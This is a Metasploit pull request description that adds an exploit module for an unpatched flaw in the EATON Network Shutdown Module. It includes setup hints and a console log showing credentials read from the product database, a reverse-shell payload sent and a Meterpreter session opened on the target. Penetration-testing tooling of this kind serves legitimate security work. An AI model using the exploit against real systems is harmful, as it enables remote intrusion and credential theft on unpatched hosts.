rapid7/metasploit-framework — pull request #1102 by h0ng10 (2012-11-27 20:49:46+00:00)
Title: Exploit for OSVDB 83199 (EATON Network Shutdown Module)

This module adds an exploit for a vulnerability in the EATON Network Shutdown Module which I reported a while ago via Secunia. Additionally it reads the base64 encoded user credentials from the database and stores it in the metasploit loot.

According to Secunia, they were not able to get an security contact/reaction from EATON,
therefore this vulnerability is not patched. A vulnerable version can be downloaded from the following URL:

http://powerquality.eaton.com/Products-services/Power-Management/Software-Drivers/network-shutdown.asp

For successful exploitation, you need at least one USV module, however you can simulate this by manually adding an entry into the "nodes" table of the database (Sqlite2, filename: mgedb.db)

This module has been tested against version 3.22 build 02 (ubuntu linux) and 3.21 build 01 (windows)

Example (windows):
```
msf exploit(eaton_nsm_code_exec) > exploit

[*] Started reverse handler on 172.16.37.141:4444
[*] Reading user credentials from the database
[*] Got 1 record(s):
[*] Username: admin, Password: admin
[*] Sending payload
[*] Sending stage (39217 bytes) to 172.16.37.138
[*] Meterpreter session 6 opened (172.16.37.141:4444 -> 172.16.37.138:2688) at 2012-11-27 12:26:49 -0500

meterpreter > ls

Listing: C:\Program Files\EATON\NetworkShutdownModule\www
=========================================================

```

If you have any questions or comments please let me know